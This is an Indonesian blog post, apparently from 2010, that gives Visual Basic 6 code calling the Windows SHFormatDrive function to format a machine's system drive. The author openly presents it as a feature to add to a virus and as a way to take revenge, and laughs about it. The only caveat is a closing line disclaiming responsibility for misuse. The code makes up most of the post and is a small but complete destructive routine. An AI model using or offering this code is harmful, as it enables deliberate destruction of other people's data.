Memformat Harddisk Menggunakan VB 6.0

Mau kejam buat virus ? percuma kalo gak ditambahi fungsi format drive, walpun ini menyalahi aturan, tapi kalo buat bales dendam sekali – kali ga apa apa lah. Hehehe

Berikut adalah caranya

Buatlah projek Vb dengan 1 Form dan 1 CommandButton dan 1 Dr

Coding dalam form

Private Declare Function SHFormatDrive Lib “Shell32.dll” (ByVal hWnd As Long, _
ByVal Drive As Integer, ByVal fmtID As Integer, ByVal Options As Integer) _
As Long

Private Sub Command1_Click()
Dim ret As Long
ret = SHFormatDrive(Me.hWnd, 2,-1, 1) ‘ yang di format drive dengan urutan numer 2

Select Case ret
Case -1
MsgBox “Error during format operation”
Case -2
MsgBox “Operation canceled by user”
Case -3
MsgBox “This drive cannot be formatted”
Case Else
MsgBox “Hahaha…!! Drive Diformat..!! ”
End Select
End Sub

NB : gak ikut – ikutan tanggung jawab atas penyalah gunaan . praktek pada komputer anda.

About revil

i'm just a stupid who wanted to be better..

Posted on May 19, 2010, in Programming and tagged . Bookmark the permalink. Leave a comment.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: